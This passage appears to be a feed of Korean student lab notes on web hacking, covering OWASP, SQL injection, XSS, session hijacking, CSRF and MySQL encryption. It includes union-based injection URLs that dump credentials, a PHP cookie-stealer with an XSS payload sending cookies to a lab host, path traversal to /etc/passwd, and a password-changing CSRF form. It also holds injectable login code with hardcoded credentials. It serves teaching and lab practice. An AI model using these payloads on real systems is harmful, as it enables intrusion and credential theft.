<li>A09: Security Logging and Monitoring Failures (보안 로깅 및 모니터링 실패)<pre><code>          - Insufficient Logging &amp; Monitoring(불충분한 로깅 및 모니터링) ⇒ Security Logging and Monitoring Failures (보안 로깅 및 모니터링 실패) 변경
          로깅 및 모니터링 없이는 공격 활동을 인지할 수 없음 → 이 카테고리는 진행 중인 공격을 감지 및 대응하는데 도움이 됨
          - 대안 : IDS , IPS ,UTM 등 보안 장비 구현 및 실시간 감시</code></pre></li>
<li>A10: Server-Side Request Forgery (서버 측 요청 위조)<pre><code>          - 2021년 새로 등장한 카테고리 -  SSRF 결함은 웹 애플리케이션이 사용자가 제공한 URL의 유효성을 검사하지 않고 원격 리소스를 가져올 때마다 발생
          공격자는 방화벽, VPN 또는 다른 유형의 네트워크 ACL(액세스 제어 목록)에 의해 보호되는 경우에도 응용 프로그램이 조작된 요청을 예기치 않은 대상으로 보내도록 강제할 수 있음
          Server-side Request Forgery  서버쪽에서 위조된 호출을 유도하는 공격
          xss , csrf 공격과 유사하게 외부 호스트를 호출하는 대신 로컬호스트를 호출하여 내부적인 공격을 함
          사용자의 입력값으로 URL을 받아서 처리하는 서비스의 경우 이를 이용해서 출력시킴
              - file://etc/passwd, http://127.0.0.1/file  등과 같이 로컬에 있는 서버 자원을 사용해서 의도된 공격 행위를 함
              - 대안 : 127.0.0.1 이나 localhost같은 로컬호스트 요청 부분 필터링, 인증된 url 및 호스트만 사용 가능 (제한) , DNAT을 통한 망분리</code></pre></li>
</ul>
<p><img src="https://velog.velcdn.com/images/dpwls_w/post/32100c96-1008-4b19-973b-da295a3ca134/image.png" alt=""></p>
<ol>
<li><p>네트워크 보안  → 네트워크 자원 획득</p>
<ul>
<li>sniffing, spoofing, dos → 패킷</li>
</ul>
</li>
<li><p>시스템 보안 → 시스템 자원 획득</p>
<ul>
<li>rootkit, race condition, pwcracking( 시스템 계정, 권한)</li>
<li>/etc/passwd, /shin/usr/bin</li>
</ul>
</li>
<li><p>어플리케이션 보안 (web보안)  → 보안 웹정보 획득</p>
<ul>
<li><p>웹 정보, session hijacking, xss( 스크립트 ,링크) , injection, up/download</p>
<p>  보안: UTM</p>
</li>
</ul>
</li>
</ol>
]]></description>
        </item>
        <item>
            <title><![CDATA[웹 사이트 해킹 모의실습 - 2 (DB)]]></title>
            <link>https://velog.io/@dpwls_w/%EC%9B%B9-%EC%82%AC%EC%9D%B4%ED%8A%B8-%ED%95%B4%ED%82%B9-%EB%AA%A8%EC%9D%98%EC%8B%A4%EC%8A%B5-2-DB</link>
            <guid>https://velog.io/@dpwls_w/%EC%9B%B9-%EC%82%AC%EC%9D%B4%ED%8A%B8-%ED%95%B4%ED%82%B9-%EB%AA%A8%EC%9D%98%EC%8B%A4%EC%8A%B5-2-DB</guid>
            <pubDate>Wed, 05 Jun 2024 05:45:44 GMT</pubDate>
            <description><![CDATA[<ul>
<li>목적: 같은 네트워크에 존재하는 사이트에서 관리자 계정을 찾아내 로그인하기</li>
</ul>
<ol>
<li><p>nmap 네트워크 대역으로 찾기 nmap -nP 192.168.10.0/24
<img src="https://velog.velcdn.com/images/dpwls_w/post/dd640aa0-3867-4396-8dc4-a33d25fecaf5/image.png" alt="">셋 다 같은 MAC 주소를 가지고 있음 = 하나의 장비</p>
</li>
<li><p>사이트 접속  - 게시판에 글 작성
<img src="https://velog.velcdn.com/images/dpwls_w/post/c820efa3-8324-4b96-8778-b62c55dc22ae/image.png" alt=""><img src="https://velog.velcdn.com/images/dpwls_w/post/ebcd53a3-e448-41a7-88fb-ca8cf79918d8/image.png" alt=""><img src="https://velog.velcdn.com/images/dpwls_w/post/dfb95ded-e17f-42de-aa2c-da2b0fc656bb/image.png" alt=""></p>
</li>
<li><p>url에 union을 삽입하여 컬럼 수 찾아내기
<a href="http://192.168.10.60/board_view.php?b_no=0&#39;">http://192.168.10.60/board_view.php?b_no=0&#39;</a> union select 1,1,1,1,1--+ 
<img src="https://velog.velcdn.com/images/dpwls_w/post/11864203-4cd5-4f9b-8055-14fdd6725a41/image.png" alt="">글 내용이 내가 입력한 내용으로 변경된다면 성공 (컬럼 수: 5개)</p>
</li>
<li><p>information_schema database를 이용하여 어떤 database가 있는지 찾아내기
<code>http://192.168.10.60/board_view.php?b_no=0&#39; union select 1,1,table_schema,table_name,1  from   information_schema.tables group by table_schema limit 0,1--+</code></p>
<ul>
<li>group by를 해야 테이블들이 하나로 뭉쳐져 DB를 찾기 편리해짐</li>
<li>limit 뒤의 숫자를 하나씩 바꿔보며 찾기( 1,1/ 2,1...)</li>
<li>텅 빈 값이 나온다면 더이상 데이터가 없는 것
<img src="https://velog.velcdn.com/images/dpwls_w/post/c3a18724-6e09-42bc-8f63-90f5e9910a8c/image.png" alt=""> <img src="https://velog.velcdn.com/images/dpwls_w/post/6466cf83-eab7-4f13-af21-cf4c949496bd/image.png" alt="">
bacubacu, hackmap, sevas, webhack을 찾아냄</li>
</ul>
</li>
<li><p>table 이름 찾기 - where 부분에 DB 이름 넣기
<code>http://192.168.10.60/board_view.php?b_no=&#39;union select 1,1,1,table_name,1 from information_schema.tables where table_schema=&#39;bacubacu&#39; limit 0,1--+</code>
<img src="https://velog.velcdn.com/images/dpwls_w/post/087670bd-0d0a-49be-9353-d365da58e1fb/image.png" alt="">
class, b_tb를 찾아냄</p>
</li>
<li><p>column 이름 찾기
<code>http://192.168.10.60/board_view.php?b_no=&#39;union select column_name,1,1,1,1 from information_schema.COLUMNS where TABLE_SCHEMA=&#39;sevas&#39; and TABLE_NAME=&#39;class&#39; limit 0,1--+;</code>
c_no, id, pw, nick, date 를 찾아냄</p>
</li>
<li><p>column 값 찾기
<code>http://192.168.10.60/board_view.php?b_no=0&#39; union select id,pw,nick,version(),1 from class limit 0,1--+</code>
<img src="https://velog.velcdn.com/images/dpwls_w/post/7cc5c52c-105b-498f-94aa-445092e51da2/image.png" alt="">
다른 테이블 컬럼 찾기 (from 에서 DB.class) <code>http://192.168.10.60/board_view.php?b_no=0&#39; union select id,pw,nick,version(),1 from webhack.class limit 0,1--+</code></p>
</li>
</ol>
<ul>
<li>각각 찾은 데이터들.. <ul>
<li><strong>bacubacu</strong>
gorani/ gogosing 
nuguri/  sjrnflek
web_admin / sevas*12ya~
yungsuya /saranghe
bapjo / qkqwntpdy
master /g7</li>
<li><strong>hackmap</strong>
test / asd123
hack /ilikehack
sevas / sevasgood
websecure / secure123
webadmin / congratulationszer02
gozilra / gogosing</li>
</ul>
</li>
</ul>
<ol start="8">
<li>찾은 id와 pw로 로그인 하기
<img src="https://velog.velcdn.com/images/dpwls_w/post/edd3ac23-b4f8-4ac8-8a73-bebb95303b1d/image.png" alt=""></li>
</ol>
<ul>
<li>혹은 &#39; or 1=1 and c_no=&#39;5&#39; # 로도 가능(관리자의 c_no가 5)</li>
</ul>
]]></description>
        </item>
        <item>
            <title><![CDATA[공격 -XSS, Session Hijacking, CSRF]]></title>
            <link>https://velog.io/@dpwls_w/%EA%B3%B5%EA%B2%A9-XSS-Session-Hijacking-CSRF</link>
            <guid>https://velog.io/@dpwls_w/%EA%B3%B5%EA%B2%A9-XSS-Session-Hijacking-CSRF</guid>
            <pubDate>Wed, 05 Jun 2024 02:09:51 GMT</pubDate>
            <description><![CDATA[<h1 id="xss-공격-cross-site-scripting">xss 공격 (Cross Site Scripting)</h1>
<ul>
<li><p><em>‘크사’라 부름</em></p>
</li>
<li><p>자바 스크립트를 써서 공격자가 의도한대로 사용자를 유도하는 공격</p>
<p>  <code>&lt;script&gt; location.href=&quot;[https://www.naver.com](https://www.naver.com/)&quot;&lt;/script&gt;</code></p>
<ul>
<li><p>간략한 링크들</p>
<ol>
<li><p>클릭 시 웹페이지 이동
<code>&lt;a href = &quot;http://www.naver.com&quot;&gt; click here &lt;/a&gt;</code></p>
</li>
<li><p>이미지 클릭 시 웹페이지 이동
 <code>&lt;a href =&quot;http://www.naver.com&quot;&gt;&lt;img src=&quot;주소&quot; width=&quot;100&quot; height=&quot;100&quot;&gt;&lt;/img&gt;&lt;/a&gt;</code></p>
</li>
<li><p>사이트 링크 넣기
 <code>&lt;iframe src=&quot;https://www.nate.com&quot; width=&quot;800&quot; height=&quot;800&quot; frameborder=&quot;10&quot;&gt;&lt;/iframe&gt;</code></p>
</li>
<li><p>응용 유튜브 올리기
<code>&lt;iframe width=&quot;560&quot; height=&quot;315&quot; src=&quot;영상링크&quot;;&gt;</code></p>
</li>
<li><p>xxs 공격 (바로실행되도록 하기) [ Stored XSS (Persistent XSS, 저장 XSS)]</p>
<script> location.href="https://www.naver.com"</script></li>
</ol>
</li>
</ul>
</li>
<li><p>기능 확인 <code>&lt;script&gt; alert(&quot;안녕하세요&quot;)&lt;/script&gt;</code></p>
</li>
<li><p>무조건 외우기
<code>&lt;script&gt; alert(&quot;안녕하세요&quot;)&lt;/script&gt;</code><br><code>&lt;script&gt; location.href=&quot;[https://www.naver.com](https://www.naver.com/)&quot;&lt;/script&gt;</code>
  <code>&lt;script&gt; alert(document.cookie)&lt;/script&gt;</code></p>
</li>
</ul>
<h2 id="종류">종류</h2>
<ul>
<li><p>Stored XSS (Persistent XSS, 저장 XSS)</p>
<pre><code>  - 웹 서버에 악성 스크립트를 영속적으로 저장해 놓는 방법
  - 클라이언트는 저장된 스크립트를 통해서 공격자의 의도대로 실행됨</code></pre></li>
<li><p>Reflected XSS (반사 XSS)</p>
<pre><code>  - 지정된 파라미터를 사용할 때 발생하는 취약점을 이용하는 공격
  - 매개체를 통해서 공격 되는 XSS 공격</code></pre></li>
<li><p>DOM-based XSS (문서 객체 모델-기반 XSS) → SSRF</p>
<pre><code>  - 문서 내에 있는 태그나 링크들을 클릭하여 전달되는 XSS</code></pre><ul>
<li><p>ssrf
<a href="https://www.lgcns.com/blog/cns-tech/security/3202/">https://www.lgcns.com/blog/cns-tech/security/3202/</a>
<img src="https://velog.velcdn.com/images/dpwls_w/post/e847d646-20c4-4845-a1e1-44c7ce3d88d2/image.png" alt=""></p>
</li>
<li><p>취약한 서버를 이용하여 공격자가 내부 서버에 원하는 요청을 보내도록 하는 방법</p>
</li>
<li><p>보통 공격자가 과도한 정보나 기능을 요청할 경우, 방화벽에서 필터링하거나 웹 서버에서 원하는 정보를 보내주지 않습니다. 하지만 인터넷 앞단의 웹서버가 입력된 URL 값을 충분하게 검사하지 않고 내부 서버로 전달한다면 이야기가 달라집니다. 이것을 이용해서 내부 서버의 정보를 노출시키거나 서비스 거부 공격할 수 있는 것입니다. 이처럼 SSRF는 웹페이지 번역 서비스, PDF 문서 생성기의 잘못된 구현이나, 퍼블릭 클라우드 환경에서 메타서버 접근통제가 미흡한 경우 발생할 수 있습니다.</p>
</li>
<li><p>SSRF는 ‘CSRF(Cross Site Request Forgery)’와 비슷한 이름을 가지고 있습니다. 이 두 공격은 비슷한 방식을 사용하지만 이용하는 매개체가 다릅니다. 원하는 정보를 얻을 때 SSRF가 서버의 요청을 이용한다면, CSRF는 사용자의 요청을 이용하는 것이죠. 두 공격 모두 공격자가 접근할 수 없는 정보나 시스템에 접근할 수 있도록 만들어줍니다. 하지만 공통적으로 내부에서는 ‘정상 요청’이라고 인식하게 됩니다.</p>
</li>
<li><p>해당 링크 주소를 변경하여 내부의 자원을 서버가 직접 출력하도록 만듬, 자원을 끌어옴</p>
</li>
<li><p>로컬 호스트를 사용할 수도 있음(직접 들어가서 가져오는 것도 가능)
<code>http://192.168.10.10/down_file.php?file_name=../../../../../../../etc/passwd</code></p>
</li>
</ul>
</li>
<li><p>Universal XSS</p>
<pre><code>  - 브라우저 안에서 실행하는 XSS - 주로 URL 이용(input, form, GET)</code></pre></li>
</ul>
<h3 id="실습">실습</h3>
<ul>
<li>실습 순서<ol>
<li>로그인한 페이지의 쿠키값 메모장 저장</li>
<li>프록시의 오픈 브라우저로 로그인하지 않은 상태에서 프록시 설정</li>
<li>쿠키값을 저장한 값으로 교체</li>
<li>페이지가 열릴때마다 메모장에 저장된 쿠키로 바꿔줌</li>
<li>회원정보수정으로 가서 비밀번호 1로 변경해봄</li>
</ol>
</li>
</ul>
<h3 id="쿠키와-세션의-차이">쿠키와 세션의 차이</h3>
<ul>
<li>쿠키 = 사물함 KEY<pre><code>  - 맨 처음엔 서버가 클라이언트에 제공하는 값, 이후엔 클라이언트에 저장되는 값이자 서버에서 클라이언트를 식별하는 값 (식별 값)
  - 쿠키를 받았을 때 해당하는 세션 정보를 서버는 제공
  - 즉 쿠키는 클라이언트에 저장 서버 접속 시 서버는 쿠키를 확인 후에 해당 클라이언트 이전 접속 정보를 전송</code></pre><ul>
<li>세션 = 사물함<ul>
<li>요청자와 서버 간의 연결</li>
<li>세션 정보를 가지고 있음</li>
</ul>
</li>
<li>세션 : 실제 사용자의 연결된 정보
쿠키 : 세션을 받기 위한 클라이언트 인식값</li>
<li>세션: 서버나 서비스에 별도로 저장되는 연결값 또는 연결정보
쿠키: 서버가 저장하고는 있는 세션정보를 넘겨주기 위한 인식값</li>
<li>쿠키는 텍스트 형식으로 클라이언트 하드에 저장됨 서버의 정보를 받기위한 인식값
세션은 서버에 서비스나 기타 주제에 따라 별도로 저장되는 연결값 또는 연결정보<h2 id="세션-탈취-방지-위한-방법-세션-만료-재사용-불가">세션 탈취 방지 위한 방법 (세션 만료, 재사용 불가)</h2>
</li>
</ul>
</li>
</ul>
<ol>
<li>중요한 단계나 사이트 갱신 시 쿠키를 재갱신하여 이전 쿠키를 세션 정보를 사용할 수 없도록 함 (JWT 토큰 인증)</li>
<li>쿠키에 대한 세션 유효시간 설정 (JWT 토큰 인증)</li>
<li>중복 로그인 방지(약한 보안, 내가 안쓸때 들어올 수 있음)</li>
<li>로그아웃과 같은 수단 활용 쿠키를 사용 후 세션만료를 할 수 있도록하여 세션 재사용 불가<pre><code> 결론 : 쿠키 재사용X</code></pre></li>
</ol>
<h1 id="세션-하이재킹--session-hijacking-→-운용-중인-세션을-가로챔">세션 하이재킹  (session hijacking) → 운용 중인 세션을 가로챔</h1>
<ol>
<li><p>공격 측에서 만든 코드</p>
<pre><code> - vi /var/www/html/getcookie.php

     &lt;?php
     $fd=fopen(&quot;/sevas/cookie.dat&quot;,&quot;a+&quot;) or die (&quot;can&#39;t open file&quot;);
     fputs($fd,$_SERVER[&#39;REMOTE_ADDR&#39;].&quot;Cookie is {$_GET[&quot;cookie&quot;]} \n&quot; );
     fclose($fd);
     ?&gt;</code></pre></li>
<li><p>웹서버에서 공격  (게시글 작성)
 <code>&lt;img name=&quot;i&quot; width=&quot;0&quot; height=&quot;0&quot;&gt; &lt;/img&gt; &lt;script&gt; i.src=&quot;http://192.168.10.20/getcookie.php?cookie=&quot;+document.cookie&lt;/script&gt;</code></p>
</li>
<li><p>칼리의 /sevas/cookie.dat 에서  세션 쿠키를 확인하고 확인된 쿠키로 로그인 시도</p>
<pre><code> `&lt;img name=&quot;i&quot; width=&quot;0&quot; height=&quot;0&quot; src=&quot;http://192.168.10.200/getcookie.php?cookie=PHPSESSID=si3i13dbbucosb3oprqmd1f9f1&quot;&gt;`</code></pre><ul>
<li>이외의 공격 코드<ul>
<li><code>http://192.168.10.10/board_view.php?b_no=&#39;&gt;&lt;img src=x onerror=prompt(5)&gt;</code></li>
<li><code>http://192.168.10.10/board_view.php?b_no=%27)&gt;&lt;script&gt;alert(%27sevas%27)&lt;/script&gt;</code></li>
<li><code>http://192.168.10.10/board_view.php?b_no=%27&gt;&lt;script&gt;alert(document.cookie)&lt;/script&gt;</code><ul>
<li>%27 = &#39;</li>
</ul>
</li>
</ul>
</li>
</ul>
</li>
</ol>
<ul>
<li><p>쿠키 토큰 세션 - JWT</p>
<ul>
<li><p>쿠키:  클라(cookie 요청 내용 추가)  =&gt; 서버(set-cookie 저장소 세션 호출을 저장 )</p>
<p>  세션:  서버에 저장 (식별 값에 의한 연결 값 저장), 계정 정보 연결</p>
<p>  토큰:  토큰 안에 유저 정보가  저장 ( 사용자 정보 암호화 )  , 쿠키/세션 방식을 보안하기 위해서 나옴</p>
</li>
<li><p>header  payload와 verify signature의 암호화 방식 , type등 정보가 저장
payload  ID/PW와 같은 사용자 정보
verify signature  :  base64 인코딩한 header,payload,secret key를 더하여 서명</p>
</li>
</ul>
</li>
</ul>
<ol>
<li>로그인</li>
<li>ID및 PW 계정 정보를 payload에 입력</li>
<li>토큰 유효기간 설정 (JWT) json web token - refresh token</li>
<li>암호화할 secret key 를 사용해 access token 발급</li>
<li>사용자는 access token 을 저장하고 인증때마다 헤더에 실어서 보냄 → refresh_token을 통해 새로운 access_token 갱신</li>
<li>서버는 해당 토큰의 서명값을 secret key로 복호화 하여 조작 여부 유효 기간 판단</li>
<li>검증이 완료 되면 payload 디코딩하여 사용자 정보를 가져옴<pre><code> - 장점 : 간편 확장성 뛰어남 , 쿠키의 단점인 재사용을 보완
 - 단점 : payload 자체에는 base64 디코딩이 가능함 , 길이가 길어져서 인증이 많아질수록 서버의 자원 낭비 심해짐</code></pre></li>
</ol>
<ul>
<li>xss 대응 방안
<a href="http://blog.plura.io/xss-%EB%8C%80%EC%9D%91%EB%B0%A9%EC%95%88/">http://blog.plura.io/xss-대응방안/</a></li>
</ul>
<hr>
<h1 id="csrf">CSRF</h1>
<ul>
<li><p>사용자 의지와 무관하게 공격자가 의도한 행위를 특정 웹사이트에 요청(서버의 자원을 사용)</p>
<h2 id="xss와-csrf의-차이">xss와 CSRF의 차이</h2>
</li>
<li><p>xss → 쿠키나 정보 탈취, 자바스크립트 사용</p>
<ul>
<li><p>csrf → 사용자의 비정상 행위 발생, 서버에서 제공하는 기능 사용 , 서버에서 자원 동작</p>
<pre> 
                        xss                                 CSRF
공격수행          클라이언트                         서버
기능구현          공격자 script                         서버 제공 기능
script사용여부              필수                             선택
공격시 준비              취약점 발견시 즉시 사용                     동작 원리/request/response의 로직 분석
공격감지 가능              감지 가능                      구분이 어려움

</pre>

</li>
</ul>
</li>
</ul>
<pre><code class="language-jsx">이벤트 당첨 확인바랍니다&lt;br&gt;
&lt;form method=POST action=proc/update_proc.php&gt;
&lt;input type=hidden name=pw value=1&gt;
&lt;input type=submit value=&quot;휴가갈사람&quot;&gt;
&lt;/form&gt;</code></pre>
<h2 id="보안-대책">보안 대책</h2>
<ol>
<li>&#39;&lt;&#39; 와 같은 웹스크립트 사용 불가 → GET 사용 x</li>
<li>기존의 내용과 비교할 수 있는 검증 수단 마련 or OTP 와 같은 2차 인증<ul>
<li>2019년 이후 자바 스크립트자체에서 file:/// 로 이동하는 내용 막힘</li>
</ul>
</li>
</ol>
<ul>
<li><p>script 방어</p>
<ul>
<li>글자 방어<ul>
<li>$subject=preg_replace(&quot;/<script>/i","",$subject);
$contents=preg_replace("/<script>/i","",$contents);</li>
</ul>
</li>
<li>‘<’ 방어 -> 제일 좋은 방법<ul>
<li>$subject=preg_replace("<","",$subject);
$contents=preg_replace(">","",$contents);</li>
</ul>
</li>
</ul>
</li>
<li><p>실무에 직접적인 xss 보안</p>
<ol>
<li>입출력 값 검증 (필터링 제한/치환)   → 정규 표현식, 스크립트 특수 문자 치환, 제한 (&,<,>,",',/) => < = &lt / > = &gt  </li>
<li>주요 정보 입력 값 확인 절차 추가(비번 확인, otp, 캡쳐)</li>
<li>xss를 방어하는 웹 브라우저 및 라이브러리 활용 ( 웹 브라우저 출력 x, url 포함)</li>
<li>웹 방화벽 사용 (보안 솔루션 사용-sw적), 보안 취약 프로그램 확인 및 최신 업데이트</li>
</ol>
</li>
<li><p>세션을 막는 방법</p>
<ul>
<li>쿠키 httponly 옵션 활성</li>
</ul>
<pre><code>    &lt;?xml version=&quot;1.0&quot; encoding=&quot;UTF-8&quot;&gt;
      &lt;Context path=&quot;/[webapp 경로]&quot; useHttpOnly=&quot;true&quot;&gt;

      session.cookie_httponly = True
      Cookie cookie = getMyCookie(&quot;myCookieName&quot;);

      // /etc/php/{version}/php.ini 파일 수정
      cookie.setHttpOnly(true);

</code></pre></li>
</ul>
]]></description>
        </item>
        <item>
            <title><![CDATA[암호화, 복호화 - mysql]]></title>
            <link>https://velog.io/@dpwls_w/%EC%95%94%ED%98%B8%ED%99%94-%EB%B3%B5%ED%98%B8%ED%99%94-mysql</link>
            <guid>https://velog.io/@dpwls_w/%EC%95%94%ED%98%B8%ED%99%94-%EB%B3%B5%ED%98%B8%ED%99%94-mysql</guid>
            <pubDate>Tue, 04 Jun 2024 04:29:44 GMT</pubDate>
            <description><![CDATA[<ul>
<li><p>Hash</p>
<blockquote>
<p>$1    md5
  $5    sha 256
  $6    sha 512</p>
</blockquote>
<h1 id="암호">암호</h1>
</li>
<li><p>단방향 암호  = hash 암호 암호화 가능, 복호화X →  무결성 O</p>
<blockquote>
<p>select md5(&#39;sevas&#39;);            </p>
<pre><code>  select sha1(&#39;sevas&#39;);
  select sha2(&#39;sevas&#39;,256);
  select sha2(&#39;sevas&#39;,512);</code></pre></blockquote>
</li>
<li><p>양방향 암호화 (키, 이름 ,아이디, 주민번호, 패스워드.. )</p>
<pre><code>  - 스트림 암호화: RC4, RC5....
  - 블럭 암호화: SEED , DES , 3DES , AES</code></pre><ul>
<li>mysql = aes</li>
<li>암호화에서 16 진수를 쓰는 이유:  비트 연산을 하기 때문.  shr- shl 때문<h2 id="암호화">암호화</h2>
</li>
</ul>
</li>
<li><p><code>select hex(암호화종류 (&#39;비밀번호&#39;, 해쉬암호종류(&#39;키값&#39;));</code></p>
<blockquote>
<p>select hex(aes_encrypt(&#39;asd123&#39;,md5(&#39;sevas&#39;)));</p>
<pre><code>  select hex(aes_encrypt(&#39;asd123&#39;,sha1(&#39;sevas&#39;)));
  select hex(aes_encrypt(&#39;asd123&#39;,sha2(&#39;sevas&#39;,256)));
  hex(aes_encrypt(&#39;asd123&#39;,sha2(&#39;sevas&#39;,512)));</code></pre></blockquote>
</li>
<li><p>양방향 암호화는 aes_encrypt로 주로 진행 + HEX로 진행</p>
<h2 id="복호화">복호화</h2>
</li>
<li><p><code>select aes_decrypt(unhex(’암호화된 값&#39;),md5(&#39;키값&#39;) );</code></p>
<blockquote>
<p>select aes_decrypt(unhex(&#39;B688F3861568B112D5D60C48C8E987C8&#39;),md5(&#39;sevas&#39;) );</p>
<pre><code>  select aes_decrypt(unhex(&#39;F22AD8472D863D4443DFEDEB66D42EED&#39;),sha1(&#39;sevas&#39;));
  select aes_decrypt(unhex(&#39;09F01FF638796435B6531E912CCF324A&#39;),sha2(&#39;sevas&#39;,256));
  select aes_decrypt(unhex(&#39;A12E8C1C4F090802237FE9C8BB9DC016&#39;),sha2(&#39;sevas&#39;,512));</code></pre></blockquote>
<h3 id="실습">실습</h3>
</li>
</ul>
<ol>
<li><p>예제 - class 데이터 베이스에 패스워드를 각각 키 값을 통해 aes로 암호화하고 복호화하여 내용 출력(외우기)</p>
<blockquote>
<p>ID: master  PW: *12ya~      key:monster(md5)
ID: admin   PW: asd123     key:root(sha1)
ID: sevas   PW: Zhangbo     key:mygirl(sha2-256)
ID: myclass PW: iloveyou        key:real(sha2-512)</p>
</blockquote>
</li>
</ol>
<ul>
<li>암호화 (평문입력 → 암호화 (암호화문) → hex 처리)<pre><code>   insert into class values (null,&#39;master&#39;,hex(aes_encrypt(&#39;*12ya~&#39;,md5(&#39;monster&#39;))),&#39;마스터&#39;,now());
  insert into class values (null,&#39;admin&#39;,hex(aes_encrypt(&#39;asd123&#39;,sha1(&#39;root&#39;))),&#39;관리자&#39;,now());
  insert into class values (null,&#39;sevas2&#39;,hex(aes_encrypt(&#39;Zhangbo&#39;,sha2(&#39;mygirl&#39;,256))),&#39;세바스&#39;,now());
  insert into class values (null,&#39;myclass&#39;,hex(aes_encrypt(&#39;iloveyou&#39;,sha2(&#39;real&#39;,512))),&#39;우리반&#39;,now());</code></pre></li>
<li>복호화 (암호화 → unhex 처리 → 복호화 → 평문)<pre><code>  - select c_no,id,aes_decrypt(unhex(pw),md5(&#39;monster&#39;)),nick,date from class;
  select c_no,id,aes_decrypt(unhex(pw),sha1(&#39;root&#39;)),nick,date from class;
  select c_no,id,aes_decrypt(unhex(pw),sha2(&#39;mygirl&#39;,256)),nick,date from class;
  select c_no,id,aes_decrypt(unhex(pw),sha2(&#39;real&#39;,512)),nick,date from class;</code></pre></li>
</ul>
<ol start="2">
<li><p>예제  - 웹사이트 가입 시 암호화, 로그인 시 평문 암호화(sha2(512))</p>
<ul>
<li>보통 로그인 시 암호화를 하여 이루어지도록 함 → 두 번의 암호화가 이루어짐</li>
<li>복호화도 가능은 함</li>
</ul>
<ol>
<li><p>가입 시 암호화(삽입 시)
<code>vi proc/join_proc.php</code>
<code>$sql =&quot;insert into class values (null,&#39;$id&#39;,hex(aes_encrypt(&#39;$pw&#39;,sha2(&#39;sevas&#39;,512))),&#39;$nick&#39;,now())&quot;;</code></p>
</li>
<li><p>로그인 시 암호화(검색 시)</p>
<p> <code>vi proc/login_proc.php</code>
 <code>$sql=&quot;select id,pw from class where id=&#39;$id&#39; and pw=hex(aes_encrypt(&#39;$pw&#39;,sha2(&#39;sevas&#39;,512)))&quot;;</code></p>
</li>
<li><p>복호화로 할 경우
<code>$sql=&quot; select id,aes_decrypt(unhex(pw),sha2(&#39;sevas&#39;,512)) from class where id=&#39;$id&#39; and aes_decrypt(unhex(pw),sha2(&#39;sevas&#39;,512))=&#39;$pw&#39;&quot;;</code></p>
</li>
</ol>
</li>
</ol>
<h3 id="웹-실습-환경-만들기">웹 실습 환경 만들기</h3>
<ul>
<li><p>서버 (dns, 웹)
<a href="http://www.sevas10.com">www.sevas10.com</a>  192.168.10.10
db.sevas10.com  192.168.10.20</p>
</li>
<li><p>클라이언트 (db) dns는 192.168.10.10에 연결</p>
</li>
<li><p>계정 master 비번 asd123</p>
</li>
<li><p>db=sevas
Tb=class</p>
</li>
</ul>
<ol>
<li>서버(10)에 <code>yum install httpd-* bind-* php-* --skip-broken</code>
20에 <code>dnf install maria*</code>
설치 완료후 start , systemctl enable [서비스명]</li>
<li>/etc/named.conf 와 etc/named.rfc 수정 -&gt; seavs10.com 만들기 (ns, www, db(20))</li>
<li>서버 - 방화벽 53/udp 열어주기 -&gt; nslookup 으로 확인 , 방화벽 80/tcp 열어주기 -&gt; 인터넷에서 접속으로 확인</li>
<li>서버 - var/www/html 이동 - index.php, login.html, join.html, proc/login_proc.php, proc/join_proc.php 생성</li>
<li>20 - vi etc/my.cnf<pre><code>[mysqld]
character-set-server=utf8
[client]
default_character_set=utf8</code></pre></li>
<li>20 - 방화벽 3306/tcp 추가</li>
<li>20 - mysql 접속
<code>grant all privileges on sevas.* to master@&#39;www.sevas10.com&#39; identified by &#39;asd123&#39;;</code>
<code>grant all privileges on sevas.* to master@&#39;192.168.10.10&#39; identified by &#39;asd123&#39;;</code>
<code>flush privileges;</code></li>
<li>20 - create database sevas -&gt; use sevas -&gt; table class 생성</li>
</ol>
<ul>
<li><p>vi 코드들</p>
<pre><code>  [db]

  create table class (
  c_no int unsigned auto_increment,
  id char(40) not null unique,
  pw char(40) not null,
  nick varchar(40) not null,
  date  datetime not null,
  primary key(c_no)
  );

  ===============================================================================

  vi index.php

  &lt;html&gt;
  &lt;head&gt;
  &lt;meta charset=&quot;utf-8&quot;&gt;
  &lt;title&gt;SEVAS_WEB&lt;/title&gt;
  &lt;/head&gt;
  &lt;body&gt;
  &lt;br&gt;
  &lt;marquee width=600 bgcolor=&quot;red&quot;&gt;
  &lt;font size=10 color=black&gt;
  SEVAS_TEST페이지에 오신것을 환영합니다.
  &lt;/font&gt;
  &lt;/marquee&gt;
  &lt;br&gt;

  &lt;?php
  session_start();
  mysql_connect(&quot;[db.sevas10.com](http://db.sevas10.com/)&quot;,&quot;master&quot;,&quot;asd123&quot;) or die (&quot;Network Fail&lt;br&gt;&quot;);
  echo &quot;Connect Success&lt;br&gt;&quot;;
  mysql_select_db(sevas) or die (&quot;DB Fail&lt;br&gt;&quot;);
  echo &quot;Connect DB&lt;br&gt;&quot;;
  $sql=&quot;select nick from class where id=&#39;$_SESSION[LoginID]&#39;&quot;;
  $exec=mysql_query($sql);
  $result=mysql_fetch_array($exec);
  if ($result[nick] != &quot;&quot; )
  {
  echo &quot;$result[nick] 님 환영합니다.&lt;br&gt;&quot;;
  }
  ?&gt;
  &lt;table border=&quot;1&quot; style=float:left&gt;
  &lt;tr&gt;&lt;th&gt;&lt;font size=5 color=&quot;red&quot;&gt;
  LIST
  &lt;/font&gt;&lt;/th&gt;&lt;/tr&gt;
  &lt;br&gt;
  &lt;tr&gt;&lt;td&gt;&lt;a href=&quot;/php/phpinfo.php&quot;&gt; php정보확인 &lt;/a&gt; &lt;br&gt;&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;&lt;a href=&quot;login.html&quot;&gt; 로그인 &lt;/a&gt; &lt;br&gt;&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;&lt;a href=&quot;join.html&quot;&gt; 회원가입 &lt;/a&gt; &lt;br&gt;&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;&lt;a href=&quot;[http://www.naver.com](http://www.naver.com/)&quot;&gt;
  &lt;img src=&quot;https://search.pstatic.net/common/?src=http%3A%2F%2Fimgnews.naver.net%2Fimage%2F003%2F2020%2F12%2F13%2FNISI20201211_0000654683_web_20201211162103_20201213152506274.jpg&amp;type=sc960_832&quot; width=&quot;100&quot; height=&quot;50&quot;&gt;&lt;/img&gt; &lt;/a&gt; &lt;br&gt;&lt;/td&gt;&lt;/tr&gt;
  &lt;/table&gt;
  &lt;/body&gt;
  &lt;/html&gt;

  ========================================================================================

  vi login.html

  # &lt;html&gt;
  &lt;head&gt;
  &lt;title&gt;
  SEVAS_LOGIN
  &lt;/title&gt;
  &lt;/head&gt;
  &lt;body&gt;
